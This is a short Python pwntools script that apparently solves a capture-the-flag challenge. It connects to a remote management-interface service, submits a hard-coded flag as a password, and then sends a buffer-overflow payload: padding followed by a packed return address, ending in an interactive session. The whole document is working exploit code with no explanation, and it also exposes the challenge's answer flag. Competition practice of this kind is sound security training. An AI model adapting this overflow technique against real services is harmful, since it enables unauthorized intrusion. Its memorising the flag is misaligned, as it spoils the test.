#!/usr/bin/env python2
from pwn import *
from struct import pack
r = remote('mngmnt-iface.ctfcompetition.com',1337)
print r.recvuntil("3) Quit")
r.send("1\n\n")
print "1"
print r.recvuntil("password")
r.send("CTF{I_luv_buggy_sOFtware}\n\n")
print "CTF{I_luv_buggy_sOFtware}"
print r.recvuntil("password")
r.send("A"*35+"\n\n")
print "A"*35
print r.recvuntil("Authenticated")
r.send("A"*0x38+"\x49\x43\x41\x41\x00\x00\x00\x00")
r.send("quit\n")
r.send("quit\n")
r.interactive()